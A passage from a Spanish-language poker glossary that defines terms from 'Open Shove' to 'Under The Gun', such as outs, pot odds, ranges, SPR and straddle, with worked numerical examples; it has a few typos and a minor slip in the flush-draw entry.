Acción en la cual un jugador realiza la primera subida en la primera ronda de apuestas antes de ver el flop, es decir, en la ronda preflop, sin que ningún otro jugador situado antes que él haya limpeado o subido su mano.

Open Shove (OS)

Acción por la cual un jugador apuesta todas sus fichas preflop como forma de “abrir su mano”. También se puede decir simplemente “all in” pero Open Shove es la manera más habitual de decir que un jugador con stack inferior a 15bbs hizo o fue All-in.

OTF

Siglas que hacen referencia a On the flop, traducido al castellano: en el flop.

OTT

Siglas que hacen referencia a On the turn. En castellano: en el turn.

OTR

Siglas que hacen referencia a On the river. En castellano: en el river.

OOP/ Out of position/ Fuera de posición

Un jugador se encuentra out of position con respecto a su adversario si tiene que hablar antes que él en una ronda de apuestas.

Outkicked

Superado en kicker. Cuando la jugada formada por una de las cartas de los jugadores involucrados es la misma que la de su adversario, pero su segunda carta de mano es de mayor valor que la del jugador, por lo que se dice que el jugador fue o quedó Outkicked porque los dos tenían la misma mano, pero el adversario tenía un kicker más alto.

Outs

Se refiere al número de cartas restantes que hay en el mazo y que a un jugador le sirven para completar una jugada. Por ejemplo, si un jugador tiene 4-5 y las cartas comunitarias son A-2-K, dicho jugador necesitaría que en turn o river saliera un 3 para completar su escalera, por lo que su proyecto tendría 4 outs (los cuatro treses que hay en el mazo). Por ejemplo, un proyecto de color cuenta con 9 outs para completarse.

Outs descontados

Son aquellas cartas con los que la mano de un jugador mejoraría, pero que al tiempo mejorarían aún más la mano de su oponente.

Overbet

Es la acción de realizar una apuesta de tamaño superior al del bote. En el poker actual, es frecuente ver overbets en las mesas para presionar al rango de los oponentes.

Overcall

Un jugador hace un overcall cuando iguala una apuesta después de que un jugador abriera su mano y de que otro adversario la igualase.

Overcard

Es toda carta cuyo valor es mayor al de la carta más alta de las cartas comunitarias.

Overlimpear/ Hacer Overlimp preflop

Limpear después de que otra persona ya haya entrado al bote limpeando, durante la ronda de apuestas preflop.

Overpair

Pareja de mano superior a la que pueda formarse entre las cartas de mano y la carta más alta de las comunitarias.

Overplay/ Overplayear/ Sobreestimar

Sobreestimar una mano es invertir en ella más dinero de lo que se debería. Tiene lugar cuando comienza con una mano preflop muy fuerte en sus cartas de mano, pero tras salir las cartas comunitarias su mano perdió mucho valor, y si sigue apostando, o si desde ese momento no controla el tamaño del bote, se suele decir que el jugador terminó “overplayeando” su mano.

Overset

Situación en la cual dos más jugadores han conectado un set con las cartas del board, pero uno de ellos tiene un set mayor que el otro. El Topset sería el set más alto posible formado con las cartas comunitarias y una pareja de mano; y el Bottomset sería el set más bajo posible formado con la carta comunitaria más baja y una pareja de mano.

ALFABETO

P

Pagar una apuesta / Call

Acción por la cual un jugador iguala la apuesta realizada por otro jugador.

Paired board/ Mesa Emparejada

Se refiere a cuando en el board hay dos cartas del mismo valor.

Pareja/ Pair

Es una mano compuesta por dos cartas del mismo valor, con una de las cartas de mano y una de las cartas comunitarias. Por ejemplo, un jugador tiene 9-8 y las cartas comunitarias son 9-5-2, de esta manera, el jugador tiene una pareja de nueves.

Pareja doble / Dobles parejas / Double pair/ Two pair

Jugada consistente en tener dos parejas diferentes con las dos cartas de manos y dos de las comunitarias. Por ejemplo, un jugador tiene A-T y las cartas comunitarias son A-T-5. Por tanto, dicho jugador tiene dobles parejas (pareja de ases y dieces).

Pareja en mano/ Pareja de mano/ Pocket pair

Es la pareja formada por las dos cartas iniciales que tiene un jugador. Por ejemplo, un jugador recibe como cartas de mano 5-5, es decir, una pareja de cincos en mano.

Pareja mayor/ Pareja más alta/ Top pair

Es la mayor pareja posible formada por una de las cartas de mano de un jugador y la carta de más alto valor de las cartas comunitarias. Si un jugador tiene A-Q y el flop es A-6-2, el jugador tiene pareja mayor o top pair.

Pareja media/ Middle pair

Es la pareja formada por una de las cartas de mano del jugador y la carta de valor más cercano a la carta de mayor valor de las cartas comunitarias. Por ejemplo, un jugador tiene A-T en una mesa K-T-5. Su pareja de dieces es una pareja media.

Pasar/ Check

Se le llama así a la acción de no apostar en la ronda actual y ceder el turno al siguiente rival. Un jugador puede pasar sólo si sus rivales en la mano no han hecho apuestas en la presente ronda.

Pasivo/ Passive

Tipo de jugador que apuesta o resube con una frecuencia muy baja, permitiendo que los demás jugadores puedan tomar la iniciativa de la mano. Su estilo de juego se caracteriza por jugar pasivo tanto si se enfrenta a oponentes agresivos como pasivos.

Patrón de apuesta/ Betting pattern

Cuando un jugador utiliza siempre los mismos tamaños de apuesta para sus distintas manos (por valor y de farol) se dice que dicho jugador tiene un patrón de apuesta. Por ejemplo: Un jugador que apuesta el bote siempre que tiene una mano que era un farol, y apostaba ¾ del bote cuando tenía una mano por valor.

PME/ Porcentaje Mínimo de Éxito

Es el porcentaje que se tiene de ganar el bote cuando un jugador hace o se enfrenta a una apuesta. Para calcularlo, se divide el importe a apostar (o a igualar) entre el importe total del bote que se formará al hacerlo. Por ejemplo, dos jugadores llegan hasta el river y uno de ellos apuesta 10 euros en un bote de 20 euros. Si el otro jugador igualara la apuesta de su rival, pondría 10 euros para un bote que finalmente tendría 40 euros; por tanto, su PME sería del 25% (10/40=0,25 x100=25%) e igualaría la apuesta de su oponente si piensa que tiene la mejor mano más de un 25% de las veces.

PER/ Porcentaje de Éxito Real

Se refiere a la probabilidad de completar una jugada en la siguiente calle (de flop a turn, o de turn a river) o en las dos calles siguientes si los jugadores involucrados en la mano acabasen yendo Allin en el flop. Por ejemplo, la probabilidad completar una escalera en la siguiente calle está en torno al 17% y a dos calles es del 31,5%, mientras que con un proyecto de color será de un 19% a una calle y de un 35% a dos calles.

PER vs PME

Comparando ambos valores un jugador sabe si su decisión (apostar o igualar una apuesta) es o no rentable. Será rentable siempre que su porcentaje de PER sea mayor que el de su PME, y viceversa no será rentable.

Pez/ Fish/ Jugador Recreacional

Ver definición de Jugador Recreacional.

Perceived range/ Rango percibido

Se define como el tipo de manos que un jugador piensa que su oponente puede tener en una mano otras una ronda de apuestas.

PFR / Preflop Raise

Es el valor estadístico que indica el porcentaje de veces que un jugador realiza una subida durante la ronda preflop. Por ejemplo, un valor del 15% señala que el jugador en cuestión sube 15 veces por cada 100 veces que le reparten dos cartas de mano.

Playability/ Jugabilidad

La jugabilidad de una mano es la manera de expresar la posibilidad que tiene un par de cartas de mano para ser jugadas. Normalmente la jugabilidad es relativa y depende de varios factores, como el stack efectivo, acciones ocurridas en las diversas rondas de apuestas, etc.

Pocket Pair/ PP/ Pareja de mano

Ver definición de pareja en mano.

Pocket Rockets

Forma coloquial de decir que se han recibido dos ases como cartas de mano. En esta situación también se suele decir que nos han dado las “American Airlines”.

Poker/ Quads

Mano formada por 4 cartas del mismo valor. Por ejemplo, un jugador tiene 4-4 y la mesa es A-4-8-4-5, por lo que dicho jugador tiene poker de cuatros.

Poker face/ Cara de póker

Indica que la expresión facial y corporal de un jugador es tranquila y relajada, por lo que no da pistas a su rival sobre el valor de su mano o de si su acción indica que está jugando una mano con valor o de farol.

Poker tracker

Ver la definición de tracker.

Polarizar/ Polarize

Significa realizar apuestas y/o resubidas tanto con manos fuertes como con faroles, excluyendo las manos medias.

Posición

Ver definición de “In Position (IP)”. Lo contrario de tener posición sería estar sin ella, o fuera de posición (Out of Position/ OOP).

Postflop

El postflop engloba al flop, turn y river; por tanto, se refiere a todas las rondas de apuestas que pueden darse en una mano de poker desde que se reparten en la mesa las tres primeras cartas comunitarias.

Pot

Engloba el dinero puesto preflop por los jugadores en posiciones de ciegas más las apuestas habidas en cada mano que se reparte. Ver definición de Bote.

Potbet

Apuesta de tamaño igual al tamaño del bote actual.

Pot Committed

Ver definición de “Commited”.

Pot Control/ Control del bote

Ver definición de Control del bote.

Pot Odds

Es la probabilidad que ofrece a un jugador el igualar la apuesta de su rival y ganar el bote. Por ejemplo, en un bote de 10 euros un rival apuesta 5 euros. Si igualáramos su apuesta tendríamos que poner 5 euros en un bote que ahora tiene 15 euros, por lo que nuestras Pot Odds serían de 15:5, y simplificando serían 3:1.

Preflop

Ronda de apuestas inicial que comienza una vez que los jugadores en posiciones de BB y SB han puesto las apuestas obligatorias y tras todos los jugadores de la mesa haber recibido sus dos cartas de mano.

Premium Hand/ Mano premium

En póker, son las mejores parejas que se pueden recibir como cartas de mano, y que serían AA, KK y QQ.

Primeras posiciones/ Early Position

Ver definición de Early Position.

Probe Bet

Ver definición de Apuesta de Prueba.

Protección/ Protection

Se dice que una mano necesita protección cuando quedan muchas cartas en el mazo que podrían salir en calles futuras, por lo que la mano en cuestión es vulnerable a dichas cartas futuras y necesita ser protegida en la calle actual mediante apuestas al objeto de eliminar al rival de la mano, o en el caso de igualar las apuestas, que éstas sean de un tamaño tal que hagan que el rival las pague fuera de Odds.

Protection bet/ Apuesta de protección

Ver definición de Apuesta de protección.

Proyecto / Draw

Es una mano sin valor en un momento concreto, pero con potencial de mejorar y convertirse en una mano fuerte. Los proyectos más comunes son los de color (Flush draw) y de escalera (Straight draw)

Proyecto de color/ Flush draw

Un jugador tiene un proyecto de color cuando tiene dos cartas de mano del mismo palo y la mesa presenta (en flop o turn) otras dos cartas de ese mismo palo (también puede ser que en la mesa haya 3 cartas del mismo y que una de las dos cartas de mano del jugador sea de ese palo). Es la quinta mejor mano posible en poker, después de la escalera real, la escalera de color, el póker y el full house.

Proyecto de escalera / Straight draw

Consiste en conectar (en flop o turn) las dos cartas recibidas de mano con dos de las cartas comunitarias (o 1 carta de mano con 3 de la mesa) de manera que las cuatro cartas sean de valor consecutivo (por ejemplo, tener 98 y que la mesa muestre A-7-T) y faltaría que en turn o river saliera una de las dos posibles cartas que ayudarían a formar una escalera, obteniendo así una jugada con 5 cartas de valor consecutivo.

Pure Bluff

Es una apuesta hecha con una mano débil que la gran mayoría de veces perderá si es llevada al showdown. Se realiza con la intención de que el rival abandone su mano en la ronda de apuestas actual.

Push

Sinónimo de ir All-in.

ALFABETO

Q

Quiebra/ Quebrar / Busto/ Broke

Un jugador está en quiebra cuando no le quedan fondos para seguir jugando al poker.

Quads/ Poker

Mano formada por 4 cartas del mismo valor. Por ejemplo, un jugador tiene 4-4 y la mesa es A-4-8-4-5, por lo que dicho jugador tiene poker de cuatros.

Quarter

Apuesta de tamaño equivalente a un cuarto del bote (25% del bote)

ALFABETO

R

Rag

Carta baja comunitaria repartida en turn o river que la mayoría de las veces no ayuda a mejorar la mano de ninguno de los rivales involucrados en una mano.

Ragged

Término que se refiere a aquellos flops que no presentan cartas altas ni dos o más cartas del mismo palo, cartas consecutivas, o cartas emparejadas.

Rainbow

Se llama así a los flops que presentan tres cartas de distinto palo.

Raise

Cualquier tipo de apuesta preflop y postflop que represente una subida

Raise over limpers (ROL)

Ver definición de “Isolate”

Raised Pot

Ver definición de “Bote subido”

Rakeback

Con el objeto de lograr la fidelidad del jugador, algunas salas de poker online devuelven a los jugadores una parte de la comisión (rake) que han pagado a la sala durante sus sesiones de juego y a este sistema de devolución se lo conoce como “rakeback”.

Rango/ Range

Conjunto de manos posibles que puede tener un jugador en una situación determinada, preflop y/o postflop.

Rango amplio/ Wide Range

Rango compuesto por un porcentaje de manos muy grande. Por tanto, un rango amplio contiene algunas manos fuertes y muchas manos medias y débiles.

Rango capado/ Capped Range

Se llama así al rango de un jugador que apenas contiene manos fuertes o manos débiles al no tener sentido que existan debido a las acciones habidas durante el desarrollo de la mano. 

Rango despolarizado / Merge range/ Depolarized Range

Rango compuesto por manos fuertes, medias y débiles.

Rango estrecho/ Narrow Range

Contrariamente al rango amplio, un rango estrecho contiene un porcentaje de manos pequeño, normalmente compuesto por muchas manos fuertes y pocas débiles.

Rango percibido/ Perceived Range

Se refiere al número de posibles combinaciones de manos que un oponente cree que su rival puede tener en un momento determinado, tanto preflop como postflop.

Rango polarizado/ Polarized Range

Rango compuesto por manos fuertes y débiles y con muy pocas o ninguna mano media. Cuando un jugador realiza una apuesta muy grande, está polarizando su rango ya que no tendría sentido hacer crecer el bote con una mano media que puede estar superada por manos mejores.

Reads/ Lecturas

Un read o lectura es una información obtenida de un rival tras haber visto alguna mano suya llevada al showdown.

Readless/ Sin lecturas

Sin información del rival.

Recreacional

Jugador ocasional y generalmente débil que juega principalmente para divertirse.

Redraw

Se refiere a cuando un jugador tiene una mano hecha y además al mismo tiempo tiene un proyecto de mano mejor, como por ejemplo tener una escalera ya hecha en flop o turn y además tener la posibilidad adicional de completar una jugada mejor como podría ser la posibilidad de completar un color.

Resubida / Reraise

Aquella acción en la que un segundo jugador realiza una subida a una apuesta realizada anteriormente por un primer jugador que le antecede, o la subida realizada por un tercer jugador tras un primer jugador subir y un segundo jugador resubir.

Retirarse / Fold

Acción de abandonar la mano y, por ende, ceder el bote al rival.

River

Quinta y última de las cartas comunitarias.

Robar la ciega / Blind stealing

Se dice que un jugador hace robo de ciegas cuando realiza una subida preflop con la intención de que los jugadores en posiciones de ciega pequeña y ciega grande abandonen el dinero de sus apuestas obligatorias.

Roca

Perfil de jugador que juega pocas manos. Participa en los botes muy poco a menudo y, casi siempre, lo hace con manos muy fuertes.

ROL Pot

Bote roleado/ Bote ISO

Royal Flush (Escalera Real)

Una escalera real, es aquella mano que se compone de las cartas que van desde el 10 hasta el as y siendo todas ellas del mismo palo.

Run

Se denomina así a un periodo de tiempo Enel que constantemente se han recibido cartas que eran sólo buenas o sólo malas. Se suele hablar de tener un buen run o tener un mal run.

Run it twice

Es cuando dos jugadores apuestan todas sus fichas (van all-in) en una ronda de apuestas concreta de la mano y aún quedan cartas comunitarias por salir. Entonces el bote se divide en dos partes y saldrán dos flops, dos turns o dos rivers, correspondiendo cada uno de ellos a cada uno de los dos botes. Su finalidad es reducir la varianza.

Runner-Runner Draw/ Backdoor draw

Proyecto que se ha completado en el river cuando en el flop necesitaba de dos cartas para ser completado. Por ejemplo, 7-6 en una mesa 5-Q-K tiene runner-runner de escalera (necesita de dos cartas distintas, una en turn, y otra en river para completar el proyecto). Por tanto, el término se refiere a cuando se liga una jugada con dos cartas consecutivas que aparecen en turn y en river.

Runout

Las cartas que aparecen en turn+river.

Rush poker/ Zoom poker

Poker rápido. Modalidad de poker ofrecida por la mayoría de salas online en la que los jugadores son movidos a una nueva mesa tras abandonar o finalizar la acción en una mano, sin necesidad de esperar a que concluya dicha mano por parte de los demás jugadores.

ALFABETO

S

Scary Card

Carta comunitaria alta que produce cierto temor ya que las manos que en flop tenían top pair y mid pair podrían ahora (en turn o river) convertirse, respectivamente, en mid pair y parejas débiles, y el jugador que las posee sentirse intranquilo si tiene que pagar una nueva apuesta en esta calle. Se consideran Scary cards las cartas altas como A, K y Q, y la J también aunque en menor medida, y son cartas que se consideran que cuando aparecen en turn y river favorecen al jugador agresor.

Seca

Ver definición de “Dry board”.

Second Barrel

Se llama así a la segunda apuesta de continuación que hace un jugador durante la ronda de apuestas conocida como turn, tras haber hecho anteriormente una subida preflop y luego una apuesta de continuación en el flop.

Semi Farol/ Semi bluff

Consiste en apostar con una mano débil que puede mejorar en rondas/calles futuras porque en el mazo hay cartas que pueden hacer que mejore para convertirse en la mejor mano. Por tanto, un semifarol es una apuesta que se hace con una mano que tiene un proyecto con equity asociada a ella, y que puede ganar la mano bien apostando y logrando que el rival abandone, o bien si dicho proyecto se completase en las calles futuras.

Set/ Trío

Mano compuesta por tres cartas del mismo valor, formada por las dos cartas iniciales de mano y una de las cartas comunitarias.

Set Mining

Un jugador realiza set mining cuando iguala una apuesta preflop con una pareja en mano (media o baja) con el objetivo de ligar un trío o set en el flop.

Setup

Se llama así a la situación en la que un jugador tiene una mano muy fuerte, pero es superado por su oponente que tiene la mejor jugada. Por ejemplo: un jugador tiene 7-7 en una mesa 7-8-2-8-3 (segunda mejor mano) pero pierde todas sus fichas debido a que su oponente tiene 8-8 (mejor mano), en este contexto ha ocurrido un “Setup” o “cooler”.

Shark

Tiburón. Jugador hábil que gana dinero jugando al Poker.

Shot/ Taking a Shot/ “Shotear”/ Hacer un Shot

Empezar a jugar temporalmente en un nivel superior hasta adaptarse y establecerse en él. Ejemplo: jugador que está habitualmente en mesas NL100 y va a shotear NL200 porque ha acumulado banca suficiente para hacerlo. Quiere decir que empezará a jugar NL200. En inglés suele expresarse como “take a shot”

Shorthanded/ SH/ Mesa corta

Ver definición de Mesa corta.

Shortstack

Se dice del jugador cuyo monto de fichas (stack) no supera las 25bbs.

Shove/ Shovear

Sinónimo de ir all-in, de hacer push.

Showdown

Tras la última ronda de apuestas (en la calle llamada river), todos los jugadores involucrados en la mano muestran sus cartas boca arriba para decidir quién gana el bote.

Showdown Value/ Valor en el showdown

En general, el término describe el hecho del valor determinado de una mano en el showdown y si puedes ganar la cantidad de showdowns suficientes con ella para que a la larga te sea rentable. Pero el término se utiliza normalmente en situaciones en las que ya no puedes apostar por valor porque difícilmente habrá manos más débiles que te pagarían una apuesta, mientras que tu mano sigue siendo lo bastante buena como para llegar al showdown sin pagar demasiado y en el que con frecuencia será la mejor mano.

Showdown winnings (ganancias al Showdown)

Son las ganancias que obtiene un jugador de las manos que ha jugado llevándolas hasta el Showdown, y que se encuentran reflejadas en una línea de color azul en las gráficas de los trackers.

Sick

Expresión que se utiliza para hacer referencia a jugadas que parece fueron sin sentido, como por ejemplo hacer una gran apuesta de farol o un hero call en situaciones donde un jugador promedio no los haría.

Side Pot/ Secondary pot/ Bote paralelo

Cuando un jugador ya ha apostado todas sus fichas y el resto de los participantes aún tienen stack para hacer más apuestas, los restantes jugadores participantes en la mano formarán un nuevo bote paralelo en el que se incluirán las posteriores apuestas que realicen, sin afectar al bote principal. Al acabar la mano, el bote principal lo podrá ganar el participante que tuviera la mejor mano incluyendo al jugador que se restó, y en el bote secundario no podrá participar el jugador que se restó, quedará excluido de este otro bote porque no tenía más fichas.

Sit out

Acción de levantarse de una partida por un periodo de tiempo limitado, bien con la intención de volver más tarde, o bien con intención de no hacerlo y de que sea la propia sala quien lo expulse de la mesa al cabo de un tiempo determinado que depende de cada sala online.

Sizing/ Tamaño de apuesta

Es el tamaño que representa una apuesta en relación al tamaño del bote, pudiendo hablarse de ella en términos de dinero o en términos de porcentaje del bote. Por ejemplo, en un bote de 100 dólares el jugador apostó 50 dólares, o en un bote de 100 dólares el jugador hizo una apuesta del 50% del bote.

Skill

Término utilizado para referirse al talento o habilidad que un jugador posee para jugar al poker.

Slowplay

Acción en la que un jugador juega una mano muy fuerte de manera pasiva o engañosa, haciendo apuestas pequeñas o incluso no apostando, todo ello con motivo de hacer creer a su rival que no tiene una gran mano, o para mantenerle en la mano, o para hacerle creer que podría mejorar su mano en cartas futuras, o para inducirle a que apueste creyendo que tiene una mano por valor, o para inducirle a que le raisee, o para inducirle a que le farolee.

Small Blind/ SB/ Ciega pequeña

El término se refiere tanto a la apuesta obligatoria que debe realizar en cada mano el jugador en la posición de SB, y que corresponde a media ciega grande, y también se refiere a la posición de la mesa llamada así.

Snap Call/ Instacall

Significa pagar una apuesta de manera muy rápida, casi de forma inmediata a tomar la voz de la mano en cuestión. Utilizado también para snap-fold o snap-raise.

Sólido/ Tight

Se dice de aquel jugador que despliega un juego con pocos o prácticamente sin errores.

Split Pot

El Split pot se produce cuando dos o más jugadores llevan sus manos al Showdown tienen la misma jugada, y cuando sucede todos los participantes en él se reparten el bote habido salvo si alguno de ellos puso dinero pero abandonó su mano en alguna de las rondas previas.

SPR (Stack to Pot Ratio)

Es la relación que existe entre el stack efectivo y el bote. El tamaño de esta relación nos señala la manera de jugar ciertas manos. Para calcularlo durante una mano, se divide el stack del jugador que menos fichas tiene entre el tamaño del bote. Por ejemplo, si en un bote de $30 nos quedan 90$ en nuestro monto de fichas, decimos el SPR será de 3. Cuanto mayor sea el SPR, necesitaremos habitualmente una mano más fuerte para jugar por todas nuestras fichas.

SRP/ Single Raised Pots/ Botes de una subida

Botes donde hubo una única subida en la ronda preflop y no hubo resubidas.

Stack

Cantidad de fichas que tiene cada jugador en un momento dado.

Stack Efectivo/ Effective Stack

Entre los participantes en una mano de póker, el stack efectivo se refiere al stack del jugador que menos fichas tenga en el momento de jugarse dicha mano.

Std/ Standard/ Estándar

Standard, estándar, algo que es normal

Squeeze/ Exprimir

Resubida que se hace frente a dos jugadores tras uno de ellos hacer una subida y a continuación otro igualarla.

Stakes

El stake de una partida de póker indica el valor de la Ciega Grande multiplicado por cien. Así, por ejemplo una mesa de nl200$ quiere decir que cada vez que a un jugador le toca jugar en la posición de ciega grande tendrá que poner una apuesta obligatoria por valor de 2 dólares (200:100=2), y por ende, en la siguiente mano le tocará estar en la posición de ciega pequeña (SB) y la apuesta obligatoria a poner en esa posición será de la mitad, por valor de 1 dólar.

Stacking/ Stackear

Significa ganarle a un oponente todas las fichas que componían su stack durante el desarrollo de una mano de póker, dejándole sin dinero, por lo que si el rival quisiera continuar jugando tendría que recargar dinero desde el cajero de su cuenta de juego en la sala online.

Stack Efectivo

Si en el desarrollo de una mano hay dos jugadores con diferentes tamaños stack, la mano se estará jugando por el stack de menor tamaño ya que ese jugador no puede perder durante la mano más fichas de las que tenía cuando se inició, ni tampoco puede añadir más fichas a su stack (recargar) hasta que la mano termine. Por tanto, su stack es lo que se conoce como el stack efectivo de la mano.

Starting Hands Chart/ Tabla de Manos Iniciales

Se refiere a una serie de tablas que a modo de guía sirven a los jugadores para saber qué movimientos hacer según las cartas de mano recibidas en la ronda preflop: qué manos abrir, desde qué posición de la mesa, con qué manos hacer un 3b, un 4 bet, un call 3b, un ISO, igualar una subida, etc, etc. 

Stats/ Statistics/ Estadísticas

Son los valores numéricos que proporcionan a tiempo real los HUDs de todos los trackers que hay en el mercado.

Steal/ Robar

Se dice que un jugador está haciendo Steal o Robando las Ciegas cuando los jugadores de primeras posiciones y posiciones medias han foldeado su mano. Hay diferentes criterios según cada escuela de póker para establecer a partir de qué posición se considera que un jugador se encuentra en zona de robo: para algunas la posición de robo es a partir de la posición de Cutoff en adelante (CO, BT y SB), y para otras la posición de robo comienza a partir del Botón (BT y SB).

Stop and Go

Se refiere a una línea concreta de juego donde el jugador que tenía la iniciativa en la preflop hace una apuesta de continuación (Cbet) en el flop, checkea en el turn, y si su rival no apuesta en el turn, el jugador apostará en el river.

Stop Loss

Es el límite de pérdidas que se autoimpone un jugador y si llega a alcanzarlo puede significar: – que cierra la sesión actual de juego – que comenzará a jugar en el nivel (stake) inmediatamente inferior al actual – que estaba haciendo un shot (empezando a probar en un stake superior al habitual) y alcanzar su límite estipulado de stop-loss regresará a jugar en su nivel (stake) habitual hasta que decida de nuevo hacer el shot. Por lo tanto, dicho término significa establecer un límite económico máximo de pérdidas a partir del cual el jugador lleva a cabo una acción ya predeterminada por él mismo.

Straddle

Al igual que los términos “ciega grande” y “ciega pequeña” se usan tanto para referirse a dos posiciones concretas de las mesas de póker como para referirse a las apuestas obligatorias que hay que poner antes de que en cada mano se repartan a cada jugador de la mesa sus dos cartas de mano, en el caso del Straddle, al referirnos a él nos referimos también tanto a una posición de las mesa como a una apuesta obligatoria que ha de poner el jugador que se encuentra en dicha posición. En las mesas donde hay Straddle, esta posición es la del jugador que se encuentra inmediatamente a la izquierda de la posición de la ciega grande (BB). La apuesta obligatoria que ha de poner este jugador equivaldrá siempre al doble del valor de la apuesta en la posición de la ciega grande. Además, durante la ronda preflop, dicho jugador en Straddle será el último en hablar (en lugar de serlo la BB, por así decirlo, en las mesas con Straddle, el jugador en esa posición se convierte en la nueva BB durante la ronda preflop), y dado que la apuesta pagada por dicho jugador es el doble de la ciega grande (2bbs), si por ejemplo algún jugador quisiera entrar en la mano haciendo limp, deberá para ello poner 2 ciegas grandes, ya que en las mesas con Straddle la apuesta mínima pasa a ser de 2bbs en lugar de 1bb como sucede en las mesas normales (sin Straddle). Y en el caso de alguien haber igualdo o subido el staraddle, como el jugador en dicha posición se ha convertido en la nueva BB de la mesa, aún puede hacer ROL, Check, Call ó Raise al igual que en las mesas habituales. Son mesas donde las apuestas y botes se vuelven más grandes que en las mesas y aumenta la acción del juego. Hay tanto mesas donde poner el Straddle es obligatorio y en otras voluntario, pero en todas ellas el jugador que haga Straddle será siempre el que se encuentre justo a la izquierda del jugador en la posición de BB.

Straight/ Escalera

Mano de póker formada por cinco cartas de valor consecutivo, es la sexta mejor mano posible, por detrás de la escalera real, la escalera de color, el póker, el full house y el color.

Straight Flush/ Escalera de color

Mano de póker formada por cinco cartas consecutivas del mismo palo, es la segunda mejor mano posible, por detrás de la escalera real.

Straightforward

Estilo de juego que implica jugar de forma directa las manos en función de su fuerza, apostando grande con manos fuertes, y checkeando, checkcalleando o foldeando manos medias, débiles y los peores proyectos.

Streaming

Se refiere a emitir “casi” en directo (con un Delay de unos 5 minutos) de la partida de póker de un jugador, empleando para ello plataformas como Twitch o YouTube.

Street/ calle

Se refiere a cada una de las 4 rondas de apuestas (preflop, flop, turn y river).

Subir / Raise

Es la acción que consiste en subir/aumentar la apuesta realizada por un jugador.

Subida mínima/ Min Raise

Es hacer la subida más pequeña posible permitida según las reglas del juego. Por ejemplo: si para entrar en una mano un jugador hace limp, o sea, pone 1bb, el Minraise equivaldría a subir a 2bb.

Suckout

Se dice que una situación en concreto fue un “suckout” cuando un proyecto sin apenas posibilidades de ganar supera a una mano hecha.

Suited

Cartas que son del mismo palo.

Suited Connector/ SC/ Conectores del mismo palo

Se refiere a las cartas que además de ser consecutivas son también del mismo palo. También hay los llamados “1gap suit connectors” (como por ejemplo 64 del mismo palo) que son conectores suited con un hueco entre el valor de ambas cartas, y los llamados “2 gap suit connectors” (como por ejemplo 63 del mismo palo) que son conectores suited con dos huecos entre el valor de ambas cartas.

ALFABETO

T

TAG / Tight Aggressive

Estilo de juego que implica jugar rangos estrechos de una manera agresiva, realizando con frecuencia apuestas y subidas.

Tank/ Tankear/ Pensar

Acción por la cual un jugador tarda más tiempo de lo habitual en tomar una decisión en la mesa, piensa “mucho”.

Tamaño de apuesta / Bet sizing

Monto de una apuesta en relación al bote.

Tell/ Tells/ Pistas

En el póker en vivo, se denomina tell a cualquier gesto corporal inconsciente por parte de un jugador que aporta información a sus rivales en cuanto al tipo de mano que dicho jugador podría tener. 

Texture/ Textura

Hace referencia a la relación que hay entre las cartas comunitarias mostradas y a la posibilidad de que dicha relación de lugar a que los jugadores puedan tener varios tipos de proyecto en combinación con sus cartas de mano, e incluso jugadas ya hechas.

Thinvalue/ Apostar Fino por valor

Es una apuesta por valor hecha por un jugador con una mano relativamente marginal y que cuando es igualada por el rival, el jugador espera ganar el bote más de un 50% de las veces.

Third Barrel / Triple barrel / Tercer barrel

Acción por la cual un jugador continúa apostando en el river tras haber hecho una subida o resubida preflop, apostar el flop, y volver a apostar en el turn.

Three of a kind

Jugada formada por tres cartas del mismo valor, con una de las cartas de mano y dos de la mesa. Jugada también llamada Trips/tripona.

Tiburón/ Shark

Jugador fuerte y agresivo que ataca a los jugadores débiles para ganar sus fichas.

Tight

Jugador que juega un rango de manos muy selectivo o estrecho.

Tilt

Sinónimo de estado emocional de enfado. Estado de ánimo de orientación negativa en el que los jugadores cometen más errores de lo habitual.

Timebank

El tiempo que las salas de póker conceden a los jugadores para tomar sus decisiones en las mesas cada vez que les toca su turno de acción.

Top Kicker

Mayor carta de mano posible de apoyo en una mano de póker. Es tener el mejor kicker posible.

Top Pair/ Pareja mayor/ Pareja más alta

Es la pareja formada por una de las dos cartas recibidas de mano y la mayor de las cartas comunitarias vistas en la mesa.

Top Pair Mid Kicker/ TPMK/ Top pair con kicker medio

Jugada formada con una de las cartas de mano y la mayor de las cartas comunitarias, y que la segunda carta de mano sea el segundo mayor kicker que sería posible tener en dicha situación.

Top Pair Top Kicker/ TPTK

Jugada formada con una de las cartas de mano y la mayor de las cartas comunitarias, y que la segunda carta de mano sea el mayor kicker que sería posible tener en dicha situación.

Top Range

La parte más fuerte de un rango, en una situación determinada.

Top Two/ Top Dobles

Jugada donde las dos cartas han ligado pareja con las dos mayores cartas comunitarias.

Tracker/ Tracking software/ Software de trackeo

Software que recoge la información de las manos jugadas por un jugador ofreciendo numerosas estadísticas y valores sobre el estilo de los. Almacena y ordena las manos para, posteriormente, poder revisarlas y estudiarlas. Los softwares de este tipo más utilizados son el Hold’em Manager 2 y el Poker Tracker 4, y en general sirven para optimizar el juego propio, así como para estudiar el juego de otros rivales y también el metajuego.

Trap/ Trampa

Un jugador tiende una trampa cuando juega su mano de forma distinta a cómo normalmente lo haría, con la intención de inducir acción a su rival, o de confundirle.

Trash hand/ Garbage/ Mano basura

Se refiere a manos que en general no deberían jugarse salvo en posiciones tardías para tratar de robar las ciegas y tirarlas en caso de que algún rival presentara resistencia tanto preflop como si llegan al postflop.

Tricky/ Inverso/ Retorcido

Se refiere al jugador que juega sus manos de forma enmascarada o que hace movimientos engañosos con el fin de desconcertar a sus rivales para en caso de llegar al showdown mostrar manos que ellos no esperaban que el jugador tuviera tras las acciones habidas durante el desarrollo de la mano porque las jugó de forma diferente a lo habitual. La finalidad es desconcertar a los rivales y obtener una mayor rentabilidad de ellos.

Trips/ Trío (ver diferencia con Set)

Jugada formada por tres cartas del mismo valor, con una de las cartas de mano y dos cartas de la mesa del mismo valor. En cambio, el Set se forma con una pareja de mano y una de las cartas comunitarias que tenga el mismo valor.

Turn

Cuarta carta comunitaria. Tras salir comienza la tercera ronda/calle de apuestas. Tiene lugar después de salir el flop y antes de salir el river.

Two Pair/ Dobles Parejas

Jugada formada con cada una de las cartas de mano y dos de las cartas comunitarias de la mesa, haciendo dos parejas distintas.

Two Suited/ Two Tone/ Dos del mismo palo

Se refiere a las mesas que en flop o turn presentan dos cartas del mismo palo.

ALFABETO

U

Under The Gun/ UTG

Posición temprana o primera posición. Es la posición situada inmediatamente a la izquierda de la ciega grande, y el jugador que se encuentre en esta posición siempre será el primero en actuar durante la ronda preflop.

Underdog

